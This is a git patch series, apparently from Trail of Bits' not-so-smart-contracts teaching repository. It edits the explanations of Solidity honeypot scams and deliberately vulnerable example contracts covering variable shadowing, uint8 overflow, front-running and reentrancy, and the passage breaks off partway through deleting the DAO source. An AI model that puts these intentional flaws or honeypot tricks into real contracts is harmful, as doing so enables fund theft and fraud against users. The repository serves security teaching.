etherscan and seeing an existing balance, one might think that there is a chance to gain some easy ether by taking advantage of a quick `Stake()` claim and subsequent `withdraw()`. +[Beware Of Eth Gifting Contracts Etherscan](https://www.blockchainsemantics.com/blog/beware-of-eth-gifting-contracts-etherscan/) -The heart of the honeypot lies in the fact that the owner variable qualifying the `onlyOwner` modifier is not the one being reassigned in the `Stake()` function. This is a particularly nasty bug that is made even more insidious by the fact that the solc compiler will throw no error or warning indicating that the owner address is in fact being [shadowed](https://github.com/trailofbits/not-so-smart-contracts/tree/master/variable%20shadowing) by the inheriting `CEOThrone` contract. By re-declaring the variable in the child’s scope, the contract ensures that owner in `Ownable` is actually never reassigned at all and allows the original creator to dump all funds at their leisure. +
+ Trap Spoiler + Unbeknownst to the victim, the contract owner has already changed the stored hash of the secret, using an internal transaction with 0 value. Etherscan does not clearly display these 0 value internal transactions. The GiftBox owner might also be monitoring the mempool & would be prepared to front-run any withdrawals that submit the correct password; +
-## [Multiplicator](Multiplicator/) +## [King of the Hill](KOTH.sol) -Here is another ponzi-esque contract that promises to multiply your ‘investment’ by returning to you your initial deposit in addition to the current total balance of ether in the contract. The only condition is that the amount you send into the `multiplicate()` function must be greater than the current balance. +At first glance this contract appears to be your average King of the Hill ponzi scheme. Participants contribute ether to the contract via the `stake()` function that keeps track of the latest `owner` and ether deposit that allowed them to become to the current owner. The `withdraw()` function employs an `onlyOwner` modifier, seemingly allowing only the last person recently throned the ability to transfer all funds out of the contract. Stumbling upon this contract on etherscan and seeing an existing balance, one might think that there is a chance to gain some easy ether by taking advantage of a quick `stake()` claim and subsequent `withdraw()`. -The contract takes advantage of the fact that the global variable balance on the contract will always contain any ether sent to payable functions attached to `msg.value`. As a result, the condition `if(msg.value>=this.balance)` will always fail and the transfer will never occur. The `multiplicate()` function itself affirms the erroneous assumption by setting the transfer parameter as `this.balance+msg.value` (instead of only `this.balance`) +
+ Trap Spoiler + The heart of the honeypot lies in the fact that the owner variable qualifying the `onlyOwner` modifier is not the one being reassigned in the `stake()` function. This is a particularly nasty bug that is made even more insidious by the fact that solc compilers version <0.6.0 will throw no error or warning indicating that the owner address is in fact being shadowed by the inheriting `CEOThrone` contract. By re-declaring the variable in the child's scope, the contract ensures that owner in `Ownable` is actually never reassigned at all and allows the original creator to dump all funds at their leisure. +
-## [VarLoop](VarLoop/) +## [Lottery](Lottery.sol) -The contract appears vulnerable to a constructor mismatch, allowing anyone to call the public method `Test1()` and double any ether they send to the function. The calculation involves a while loop which is strange, but the bounds conditions seem correct enough. +This appears to be a straightforward lottery that gives users a 1/8 chance of paying out 7x the ticket price. You know that [a contract can't securely use random numbers on-chain](../bad_randomness) so you recognize an opportunity to game this lottery contract & score an easy win. But this lottery is not as simple as it appears. + +
+ Trap Spoiler + Uninitialized structs default to acting like storage pointers for solidity versions <0.5.0 allowing the owner to use the `SeedComponents` variable to overwrite private variables. +
+ +## [Multiplicator](Multiplicator.sol) + +Here is another ponzi-esque contract that promises to multiply your 'investment' by returning to you your initial deposit in addition to the current total balance of ether in the contract. The only condition is that the amount you send into the `multiplicate()` function must be greater than the current balance. + +
+ Trap Spoiler + The contract takes advantage of the fact that the global variable balance on the contract will always contain any ether sent to payable functions attached to `msg.value`. As a result, the condition `if(msg.value>=this.balance)` will always fail and the transfer will never occur. The `multiplicate()` function itself affirms the erroneous assumption by setting the transfer parameter as `this.balance + msg.value` (instead of only `this.balance`) +
+ +## [Private Bank](PrivateBank.sol) -One of the features of Solidity is that it seeks to mimic JavaScript in its language syntax and style. This is ostensibly to ease on-boarding of developers with something familiar. In this case, the contract takes advantage of different semantics between Solidity and JavaScript to create type confusion. The var keyword allows the compiler to infer the type of the assignment when declaring a variable. In this instance, `i1` and `i2` are resolved to fact be `uint8`. As such, their maximum value will be 255 before overflow -- causing the loop condition `if(i1 + Trap Spoiler + + This honeypot takes advantage of the caller's assumptions, diverting attention away from the trap by seemingly including a reentrancy vulnerability. However, if you attempt to exploit this contract, you will find that your call to `cashOut` will fail every time. + + A closer inspection of the constructor will show that `TransferLog` is initialized from a user-supplied address. As long as the contract code at that location contains similar function signatures, the implementation of `AddMessage` can be completely different than the `Log` code contained in this source file. If this contract was deployed and only bytecode is available for the deployed `Log` contract, we can assume that it will revert or trap execution in a computationally expensive loop for everyone else but the owner. + + + +## [VarLoop](VarLoop.sol) + +The contract appears vulnerable to a constructor mismatch, allowing anyone to call the public method `Test1()` and double any ether they send to the function. The calculation involves a while loop which is strange, but the bounds conditions seem correct enough. -This is also a type of runtime bug that our symbolic execution tool, [Manticore](https://github.com/trailofbits/manticore), would have able to spot by being unable to find a valid transaction path that would ever return more than 255 wei. +
+ Trap Spoiler -## [Private Bank](PrivateBank/) + This contract takes advantage of different semantics between Solidity and JavaScript to create type confusion. The var keyword allows the compiler to infer the type of the assignment when declaring a variable. In this instance, `i1` and `i2` are resolved to fact be `uint8`. As such, their maximum value will be 255 after which they overflow (because the solidity version is <0.8.0) causing the loop condition `if (i1 < i2)` to fail, sending at most 255 wei to the caller before terminating. -Someone familiar with smart contract security and some of the more technical vulnerabilities might recognize that this contract is susceptible to a [classic reentrancy attack](https://github.com/trailofbits/not-so-smart-contracts/tree/master/reentrancy). It takes advantage of the low-level call in the function `CashOut()` by `msg.sender.call.value(_am)())`. Since the user balance is only decremented afterwards, the caller’s callback function can call back into the method, allowing an attacker to continuously call `CashOut()` beyond what their initial balance should allow for. The only main difference is the addition of a `Log` class that seems to keep track of transitions. + Fortunately the var keyword was deprecated by the Solidity authors for versions 0.7.0 or greater. -This honeypot takes advantage of the caller’s assumptions, diverting attention away from the trap by seemingly including a reentrancy vulnerability. However, if you attempt to do so, you will find that your call to `CashOut` will fail every time. There doesn’t seem to be anything in the code that would indicate a gas usage timeout. The only thing extraneous is the logging call at `TransferLog.AddMessage(msg.sender,msg.value,"Deposit")`. The source of the `Log` contract appears benign. + Implicit conversion of `var` type variable into `uint8` causes payment loop to short-circuit. -A closer inspection of the constructor will show that `TransferLog` is initialized from a user-supplied address. As long as the contract code at that location contains similar function signatures, the content of `AddMessage` can be completely different. In fact we can find the code of the external Log contract here. Having only bytecode available, we can assume that it will trap execution in a computationally expensive loop for everyone else but the owner, causing the contract function to hit the gas limit. +
diff --git a/not-so-smart-contracts/solidity/honeypots/VarLoop/VarLoop.sol b/not-so-smart-contracts/solidity/honeypots/VarLoop.sol similarity index 100% rename from not-so-smart-contracts/solidity/honeypots/VarLoop/VarLoop.sol rename to not-so-smart-contracts/solidity/honeypots/VarLoop.sol diff --git a/not-so-smart-contracts/solidity/honeypots/VarLoop/README.md b/not-so-smart-contracts/solidity/honeypots/VarLoop/README.md deleted file mode 100644 index f03c8cc5..00000000 --- a/not-so-smart-contracts/solidity/honeypots/VarLoop/README.md +++ /dev/null @@ -1,5 +0,0 @@ -# VarLoop - -## Trap -Implicit conversion of `var` type variable into `uint8` causes payment loop to -short-circuit. From 897c9ad8a6b5b50387b5f24b6e28877f67ee3475 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 16:41:03 -0400 Subject: [PATCH 69/73] remove incorrect interface examples --- .../solidity/honeypots/VarLoop.sol | 46 +++++------ .../incorrect_erc20_interface/README.md | 19 ----- .../incorrect_erc721_interface/README.md | 20 ----- .../solidity/incorrect_interface/Alice.sol | 18 ----- .../solidity/incorrect_interface/Bob.sol | 17 ---- .../solidity/incorrect_interface/README.md | 81 ------------------- .../{integer_overflow_1.sol => Overflow.sol} | 8 +- .../solidity/integer_overflow/README.md | 12 +-- .../solidity/race_condition/README.md | 21 ++--- .../solidity/race_condition/RaceCondition.sol | 47 +++++------ 10 files changed, 52 insertions(+), 237 deletions(-) delete mode 100644 not-so-smart-contracts/solidity/incorrect_erc20_interface/README.md delete mode 100644 not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md delete mode 100644 not-so-smart-contracts/solidity/incorrect_interface/Alice.sol delete mode 100644 not-so-smart-contracts/solidity/incorrect_interface/Bob.sol delete mode 100644 not-so-smart-contracts/solidity/incorrect_interface/README.md rename not-so-smart-contracts/solidity/integer_overflow/{integer_overflow_1.sol => Overflow.sol} (56%) diff --git a/not-so-smart-contracts/solidity/honeypots/VarLoop.sol b/not-so-smart-contracts/solidity/honeypots/VarLoop.sol index 2d57ea29..46c03412 100644 --- a/not-so-smart-contracts/solidity/honeypots/VarLoop.sol +++ b/not-so-smart-contracts/solidity/honeypots/VarLoop.sol @@ -1,39 +1,31 @@ pragma solidity ^0.4.18; -contract Test1 -{ - address owner = msg.sender; - - function withdraw() - payable - public - { - require(msg.sender==owner); +contract Test1 { + address public owner = msg.sender; + + function withdraw() public payable { + require(msg.sender == owner, "Permission denied"); owner.transfer(this.balance); } - - function() payable {} - - function Test() - payable - public - { - if(msg.value>=1 ether) - { - + + fallback() payable {} + + // Old-school constructor + // solhint-disable-next-line func-name-mixedcase + function Test() public payable { + if (msg.value >= 1 ether) { var i1 = 1; var i2 = 0; - var amX2 = msg.value*2; - - while(true) - { - if(i1amX2)break; - - i2=i1; + var amX2 = msg.value * 2; + + while(true) { + if (i1 < i2) break; + if (i1 > amX2) break; + i2 = i1; i1++; } msg.sender.transfer(i2); } } + } diff --git a/not-so-smart-contracts/solidity/incorrect_erc20_interface/README.md b/not-so-smart-contracts/solidity/incorrect_erc20_interface/README.md deleted file mode 100644 index ab9c9a4b..00000000 --- a/not-so-smart-contracts/solidity/incorrect_erc20_interface/README.md +++ /dev/null @@ -1,19 +0,0 @@ -## Incorrect ERC20 interface - -### Description -Incorrect return values for ERC20 functions. A contract compiled with solidity > 0.4.22 interacting with these functions will fail to execute them, as the return value is missing. - -### Exploit Scenario: - -```solidity -contract Token{ - function transfer(address to, uint value) external; - //... -} -``` -`Token.transfer` does not return a boolean. Bob deploys the token. Alice creates a contract that interacts with it but assumes a correct ERC20 interface implementation. Alice's contract is unable to interact with Bob's contract. - -### Recommendation -- Set the appropriate return values and value-types for the defined ERC20 functions. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue -- Use `slither-check-erc` to ensure ERC conformance diff --git a/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md b/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md deleted file mode 100644 index 23fd1ece..00000000 --- a/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md +++ /dev/null @@ -1,20 +0,0 @@ -## Incorrect ERC721 interface - -### Description -Incorrect return values for ERC721 functions. A contract compiled with solidity > 0.4.22 interacting with these functions will fail to execute them, as the return value is missing. - -### Exploit Scenario: - -```solidity -contract Token{ - function ownerOf(uint256 _tokenId) external view returns (bool); - //... -} -``` -`Token.ownerOf` does not return an address as ERC721 expects. Bob deploys the token. Alice creates a contract that interacts with it but assumes a correct ERC721 interface implementation. Alice's contract is unable to interact with Bob's contract. - -### Mitigations -- Set the appropriate return values and value-types for the defined ERC721 functions. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue - - diff --git a/not-so-smart-contracts/solidity/incorrect_interface/Alice.sol b/not-so-smart-contracts/solidity/incorrect_interface/Alice.sol deleted file mode 100644 index 9cd2aa55..00000000 --- a/not-so-smart-contracts/solidity/incorrect_interface/Alice.sol +++ /dev/null @@ -1,18 +0,0 @@ - -pragma solidity ^0.4.15; - -contract Alice { - int public val; - - function set(int new_val){ - val = new_val; - } - - function set_fixed(int new_val){ - val = new_val; - } - - function(){ - val = 1; - } -} diff --git a/not-so-smart-contracts/solidity/incorrect_interface/Bob.sol b/not-so-smart-contracts/solidity/incorrect_interface/Bob.sol deleted file mode 100644 index 7679ba6b..00000000 --- a/not-so-smart-contracts/solidity/incorrect_interface/Bob.sol +++ /dev/null @@ -1,17 +0,0 @@ - -pragma solidity ^0.4.15; - -contract Alice { - function set(uint); - function set_fixed(int); -} - -contract Bob { - function set(Alice c){ - c.set(42); - } - - function set_fixed(Alice c){ - c.set_fixed(42); - } -} diff --git a/not-so-smart-contracts/solidity/incorrect_interface/README.md b/not-so-smart-contracts/solidity/incorrect_interface/README.md deleted file mode 100644 index ebe19b06..00000000 --- a/not-so-smart-contracts/solidity/incorrect_interface/README.md +++ /dev/null @@ -1,81 +0,0 @@ -# Incorrect interface -A contract interface defines functions with a different type signature than the implementation, causing two different method id's to be created. -As a result, when the interface is called, the fallback method will be executed. - -## Attack Scenario - -- The interface is incorrectly defined. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. The two interfaces will produce two different method IDs. As a result, Bob will call the fallback function of Alice rather than of `set`. - -## Mitigations - -Verify that type signatures are identical between interfaces and implementations. - -## Example - -We now walk through how to find this vulnerability in the [Alice](Alice.sol) and [Bob](Bob.sol) contracts in this repo. - -First, get the bytecode and the abi of the contracts: -```̀bash -$ solc --bin Alice.sol -6060604052341561000f57600080fd5b5b6101158061001f6000396000f300606060405236156051576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c6bb436146067578063a5d5e46514608d578063e5c19b2d1460ad575b3415605b57600080fd5b5b60016000819055505b005b3415607157600080fd5b607760cd565b6040518082815260200191505060405180910390f35b3415609757600080fd5b60ab600480803590602001909190505060d3565b005b341560b757600080fd5b60cb600480803590602001909190505060de565b005b60005481565b806000819055505b50565b806000819055505b505600a165627a7a723058207d0ad6d1ce356adf9fa0284c9f887bb4b912204886b731c37c2ae5d16aef19a20029 -$ solc --abi Alice.sol -[{"constant":true,"inputs":[],"name":"val","outputs":[{"name":"","type":"int256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"payable":false,"type":"fallback"}] - - -$ solc --bin Bob.sol -6060604052341561000f57600080fd5b5b6101f58061001f6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632801617e1461004957806390b2290e14610082575b600080fd5b341561005457600080fd5b610080600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100bb565b005b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610142565b005b8073ffffffffffffffffffffffffffffffffffffffff166360fe47b1602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561012a57600080fd5b6102c65a03f1151561013b57600080fd5b5050505b50565b8073ffffffffffffffffffffffffffffffffffffffff1663a5d5e465602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156101b157600080fd5b6102c65a03f115156101c257600080fd5b5050505b505600a165627a7a72305820f8c9dcade78d92097c18627223a8583507e9331ef1e5de02640ffc2e731111320029 -$ solc --abi Bob.sol -[{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"}] -``` - -The following commands were tested on a private blockchain - -```javascript -$ get attach - -// this unlock the account for a limited amount of time -// if you have an error: -// Error: authentication needed: password or unlock -// you can to call unlockAccount again -personal.unlockAccount(eth.accounts[0], "apasswordtochange") - -var bytecodeAlice = '0x6060604052341561000f57600080fd5b5b6101158061001f6000396000f300606060405236156051576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633c6bb436146067578063a5d5e46514608d578063e5c19b2d1460ad575b3415605b57600080fd5b5b60016000819055505b005b3415607157600080fd5b607760cd565b6040518082815260200191505060405180910390f35b3415609757600080fd5b60ab600480803590602001909190505060d3565b005b341560b757600080fd5b60cb600480803590602001909190505060de565b005b60005481565b806000819055505b50565b806000819055505b505600a165627a7a723058207d0ad6d1ce356adf9fa0284c9f887bb4b912204886b731c37c2ae5d16aef19a20029' -var abiAlice = [{"constant":true,"inputs":[],"name":"val","outputs":[{"name":"","type":"int256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"new_val","type":"int256"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"payable":false,"type":"fallback"}] - -var bytecodeBob = '0x6060604052341561000f57600080fd5b5b6101f58061001f6000396000f30060606040526000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632801617e1461004957806390b2290e14610082575b600080fd5b341561005457600080fd5b610080600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506100bb565b005b341561008d57600080fd5b6100b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610142565b005b8073ffffffffffffffffffffffffffffffffffffffff166360fe47b1602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561012a57600080fd5b6102c65a03f1151561013b57600080fd5b5050505b50565b8073ffffffffffffffffffffffffffffffffffffffff1663a5d5e465602a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15156101b157600080fd5b6102c65a03f115156101c257600080fd5b5050505b505600a165627a7a72305820f8c9dcade78d92097c18627223a8583507e9331ef1e5de02640ffc2e731111320029' -var abiBob = [{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"c","type":"address"}],"name":"set_fixed","outputs":[],"payable":false,"type":"function"}] - -var contractAlice = eth.contract(abiAlice); -var txDeployAlice = {from:eth.coinbase, data: bytecodeAlice, gas: 1000000}; -var contractPartialInstanceAlice = contractAlice.new(txDeployAlice); - -// Wait to mine the block containing the transaction - -var alice = contractAlice.at(contractPartialInstanceAlice.address); - -var contractBob = eth.contract(abiBob); -var txDeployBob = {from:eth.coinbase, data: bytecodeBob, gas: 1000000}; -var contractPartialInstanceBob = contractBob.new(txDeployBob); - -// Wait to mine the block containing the transaction - -var bob = contractBob.at(contractPartialInstanceBob.address); - -// From now, wait for each transaction to be mined before calling -// the others transactions - -// print the default value of val: 0 -alice.val() - -// call bob.set, as the interface is wrong, it will call -// the fallback function of alice -bob.set(alice.address, {from: eth.accounts[0]} ) -// print val: 1 -alice.val() - -// call the fixed version of the interface -bob.set_fixed(alice.address, {from: eth.accounts[0]} ) -// print val: 42 -alice.val() -``` - diff --git a/not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol b/not-so-smart-contracts/solidity/integer_overflow/Overflow.sol similarity index 56% rename from not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol rename to not-so-smart-contracts/solidity/integer_overflow/Overflow.sol index 3a351993..f16ec2aa 100644 --- a/not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol +++ b/not-so-smart-contracts/solidity/integer_overflow/Overflow.sol @@ -1,16 +1,16 @@ -pragma solidity ^0.4.15; +pragma solidity ^0.7.6; contract Overflow { uint private sellerBalance=0; - function add(uint value) returns (bool){ + function unsafeAdd(uint value) public returns (bool){ sellerBalance += value; // possible overflow // the following assertion will revert if the above overflows // assert(sellerBalance >= value); } - function safe_add(uint value) returns (bool){ - require(value + sellerBalance >= sellerBalance); + function safeAdd(uint value) public returns (bool){ + require(value + sellerBalance >= sellerBalance, "Overflow"); sellerBalance += value; } } diff --git a/not-so-smart-contracts/solidity/integer_overflow/README.md b/not-so-smart-contracts/solidity/integer_overflow/README.md index f484dbb7..0bfe3180 100644 --- a/not-so-smart-contracts/solidity/integer_overflow/README.md +++ b/not-so-smart-contracts/solidity/integer_overflow/README.md @@ -1,14 +1,12 @@ # Integer Overflow -It is possible to cause `+` and `-` to overflow (or underflow) on any type of integer in Solidity versions <0.8.0 or within `unchecked` blocks of solidity >=0.8.0 +It is possible to cause solidity's native `+` and `-` operators to overflow (or underflow) on any type of integer in Solidity versions <0.8.0 or within `unchecked` blocks of solidity >=0.8.0 ## Attack Scenarios -- Attacker has 5 of some ERC20 token. They spend 6, but because the token doesn't check for underflows, -they wind up with 2^256 tokens. +- Attacker has 5 of some ERC20 token. They spend 6, but because the token doesn't check for underflows, they wind up with 2^256 tokens. -- A contract contains a dynamic array and an unsafe `pop` method. An attacker can underflow the length of -the array and alter other variables in the contract. +- A contract contains a dynamic array and an unsafe `pop` method. An attacker can underflow the length of the array and alter other variables in the contract. ## Mitigations @@ -18,8 +16,6 @@ the array and alter other variables in the contract. ## Examples -- In [integer_overflow_1](interger_overflow_1.sol), we give both unsafe and safe version of -the `add` operation. +- In [Overflow](Overflow.sol), we give both unsafe and safe version of the `add` operation. - [A submission](https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte) to the Underhanded Solidity Coding Contest that exploits the unsafe dynamic array bug outlined above - diff --git a/not-so-smart-contracts/solidity/race_condition/README.md b/not-so-smart-contracts/solidity/race_condition/README.md index 8cc95048..291fe672 100644 --- a/not-so-smart-contracts/solidity/race_condition/README.md +++ b/not-so-smart-contracts/solidity/race_condition/README.md @@ -1,23 +1,14 @@ # Race Condition -There is a gap between the creation of a transaction and the moment it is accepted in the blockchain. -Therefore, an attacker can take advantage of this gap to put a contract in a state that advantages them. + +There is a gap between the creation of a transaction and the moment it is accepted in the blockchain. Therefore, an attacker can take advantage of this gap to put a contract in a state that advantages them. ## Attack Scenario -- Bob creates `RaceCondition(100, token)`. Alice trusts `RaceCondition` with all its tokens. Alice calls `buy(150)` -Bob sees the transaction, and calls `changePrice(300)`. The transaction of Bob is mined before the one of Alice and -as a result, Bob received 300 tokens. +- Bob creates `RaceCondition(100, token)`. Alice approves `RaceCondition` to spend all of her tokens. Alice calls `buy(150)` and Bob (or one of his bots) quickly sees the transaction and calls `changePrice(300)` with a high gas price. Bob's transaction is mined before Alice's and as a result, Bob received 300 tokens. See [the RaceCondition contract](RaceCondition.sol) for an example of this; -- The ERC20 standard's `approve` and `transferFrom` functions are vulnerable to a race condition. Suppose Alice has -approved Bob to spend 100 tokens on her behalf. She then decides to only approve him for 50 tokens and sends -a second `approve` transaction. However, Bob sees that he's about to be downgraded and quickly submits a -`transferFrom` for the original 100 tokens he was approved for. If this transaction gets mined before Alice's -second `approve`, Bob will be able to spend 150 of Alice's tokens. +- The ERC20 standard's `approve` and `transferFrom` functions are vulnerable to a race condition. Suppose Alice has approved Bob to spend 100 tokens on her behalf. She then decides to only approve him for 50 tokens and sends a second `approve` transaction. However, Bob sees that he's about to be downgraded and quickly submits a `transferFrom` for the original 100 tokens he was approved for. If this transaction gets mined before Alice's second `approve`, Bob will be able to spend an additional 50 of Alice's tokens (for a total of 150) after her new `approve` transaction is mined. ## Mitigations -- For the ERC20 bug, insist that Alice only be able to `approve` Bob when he is approved for 0 tokens. -- Keep in mind that all transactions may be front-run - -## Examples -- [Race condition](RaceCondition.sol) outlined in the first bullet point above +- For the ERC20 bug, insist that Alice only be able to `approve` Bob when he is approved for 0 tokens. Or, Alice can reset Bob's allowance to zero before resetting it to ensure that he can't spend any more than her current allowance. +- Keep in mind that all transactions may be front-run. diff --git a/not-so-smart-contracts/solidity/race_condition/RaceCondition.sol b/not-so-smart-contracts/solidity/race_condition/RaceCondition.sol index f1c20daf..82cf2548 100644 --- a/not-so-smart-contracts/solidity/race_condition/RaceCondition.sol +++ b/not-so-smart-contracts/solidity/race_condition/RaceCondition.sol @@ -1,13 +1,13 @@ -pragma solidity ^0.4.16; +pragma solidity ^0.8.17; // https://github.com/ethereum/EIPs/issues/20 -contract ERC20 { - function totalSupply() constant returns (uint totalSupply); - function balanceOf(address _owner) constant returns (uint balance); - function transfer(address _to, uint _value) returns (bool success); - function transferFrom(address _from, address _to, uint _value) returns (bool success); - function approve(address _spender, uint _value) returns (bool success); - function allowance(address _owner, address _spender) constant returns (uint remaining); +interface IERC20 { + function totalSupply() public constant returns (uint totalSupply); + function balanceOf(address _owner) public constant returns (uint balance); + function transfer(address _to, uint _value) public returns (bool success); + function transferFrom(address _from, address _to, uint _value) public returns (bool success); + function approve(address _spender, uint _value) public returns (bool success); + function allowance(address _owner, address _spender) public constant returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } @@ -15,36 +15,27 @@ contract ERC20 { contract RaceCondition{ address private owner; uint public price; - ERC20 token; + IERC20 public token; - function RaceCondition(uint _price, ERC20 _token) - public - { + function RaceCondition(uint _price, IERC20 _token) public { owner = msg.sender; price = _price; token = _token; } - // If the owner sees someone calls buy - // he can call changePrice to set a new price - // If his transaction is mined first, he can - // receive more tokens than excepted by the new buyer - function buy(uint new_price) payable - public - { - require(msg.value >= price); - - // we assume that the RaceCondition contract - // has enough allowance + // If the owner sees someone calls buy he can call changePrice to set a new price + // If his transaction is mined first, he can receive more tokens than expected by the new buyer + function buy(uint newPrice) external payable { + require(msg.value >= price, "Insufficient value"); + // we assume that the RaceCondition contract has enough allowance token.transferFrom(msg.sender, owner, price); - - price = new_price; + price = newPrice; owner = msg.sender; } - function changePrice(uint new_price){ - require(msg.sender == owner); - price = new_price; + function changePrice(uint newPrice) external { + require(msg.sender == owner, "Permission denied"); + price = newPrice; } } From 953c20a75210b7a8f7d57aefa1ecaa1b84ed01cf Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 16:41:10 -0400 Subject: [PATCH 70/73] reentrancy editing pass --- .../reentrancy/DAO_source_code/DAO.sol | 1238 ----------------- .../solidity/reentrancy/README.md | 34 +- .../solidity/reentrancy/Reenterable.sol | 49 + .../solidity/reentrancy/Reentrancy.sol | 43 - .../solidity/reentrancy/ReentrancyExploit.sol | 39 - .../reentrancy/ReentrancyExploiter.sol | 51 + .../SpankChain_source_code/README.md | 15 - .../SpankChain_source_code/SpankChain.sol | 155 --- .../SpankChain_Payment.sol | 888 ------------ 9 files changed, 119 insertions(+), 2393 deletions(-) delete mode 100644 not-so-smart-contracts/solidity/reentrancy/DAO_source_code/DAO.sol create mode 100644 not-so-smart-contracts/solidity/reentrancy/Reenterable.sol delete mode 100644 not-so-smart-contracts/solidity/reentrancy/Reentrancy.sol delete mode 100644 not-so-smart-contracts/solidity/reentrancy/ReentrancyExploit.sol create mode 100644 not-so-smart-contracts/solidity/reentrancy/ReentrancyExploiter.sol delete mode 100644 not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/README.md delete mode 100644 not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain.sol delete mode 100644 not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain_Payment.sol diff --git a/not-so-smart-contracts/solidity/reentrancy/DAO_source_code/DAO.sol b/not-so-smart-contracts/solidity/reentrancy/DAO_source_code/DAO.sol deleted file mode 100644 index 9f54a52e..00000000 --- a/not-so-smart-contracts/solidity/reentrancy/DAO_source_code/DAO.sol +++ /dev/null @@ -1,1238 +0,0 @@ -// 0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code - -/* - -- Bytecode Verification performed was compared on second iteration - - -This file is part of the DAO. - -The DAO is free software: you can redistribute it and/or modify -it under the terms of the GNU lesser General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -The DAO is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU lesser General Public License for more details. - -You should have received a copy of the GNU lesser General Public License -along with the DAO. If not, see . -*/ - - -/* -Basic, standardized Token contract with no "premine". Defines the functions to -check token balances, send tokens, send tokens on behalf of a 3rd party and the -corresponding approval process. Tokens need to be created by a derived -contract (e.g. TokenCreation.sol). - -Thank you ConsenSys, this contract originated from: -https://github.com/ConsenSys/Tokens/blob/master/Token_Contracts/contracts/Standard_Token.sol -Which is itself based on the Ethereum standardized contract APIs: -https://github.com/ethereum/wiki/wiki/Standardized_Contract_APIs -*/ - -/// @title Standard Token Contract. - -contract TokenInterface { - mapping (address => uint256) balances; - mapping (address => mapping (address => uint256)) allowed; - - /// Total amount of tokens - uint256 public totalSupply; - - /// @param _owner The address from which the balance will be retrieved - /// @return The balance - function balanceOf(address _owner) constant returns (uint256 balance); - - /// @notice Send `_amount` tokens to `_to` from `msg.sender` - /// @param _to The address of the recipient - /// @param _amount The amount of tokens to be transferred - /// @return Whether the transfer was successful or not - function transfer(address _to, uint256 _amount) returns (bool success); - - /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it - /// is approved by `_from` - /// @param _from The address of the origin of the transfer - /// @param _to The address of the recipient - /// @param _amount The amount of tokens to be transferred - /// @return Whether the transfer was successful or not - function transferFrom(address _from, address _to, uint256 _amount) returns (bool success); - - /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on - /// its behalf - /// @param _spender The address of the account able to transfer the tokens - /// @param _amount The amount of tokens to be approved for transfer - /// @return Whether the approval was successful or not - function approve(address _spender, uint256 _amount) returns (bool success); - - /// @param _owner The address of the account owning tokens - /// @param _spender The address of the account able to transfer the tokens - /// @return Amount of remaining tokens of _owner that _spender is allowed - /// to spend - function allowance( - address _owner, - address _spender - ) constant returns (uint256 remaining); - - event Transfer(address indexed _from, address indexed _to, uint256 _amount); - event Approval( - address indexed _owner, - address indexed _spender, - uint256 _amount - ); -} - - -contract Token is TokenInterface { - // Protects users by preventing the execution of method calls that - // inadvertently also transferred ether - modifier noEther() {if (msg.value > 0) throw; _} - - function balanceOf(address _owner) constant returns (uint256 balance) { - return balances[_owner]; - } - - function transfer(address _to, uint256 _amount) noEther returns (bool success) { - if (balances[msg.sender] >= _amount && _amount > 0) { - balances[msg.sender] -= _amount; - balances[_to] += _amount; - Transfer(msg.sender, _to, _amount); - return true; - } else { - return false; - } - } - - function transferFrom( - address _from, - address _to, - uint256 _amount - ) noEther returns (bool success) { - - if 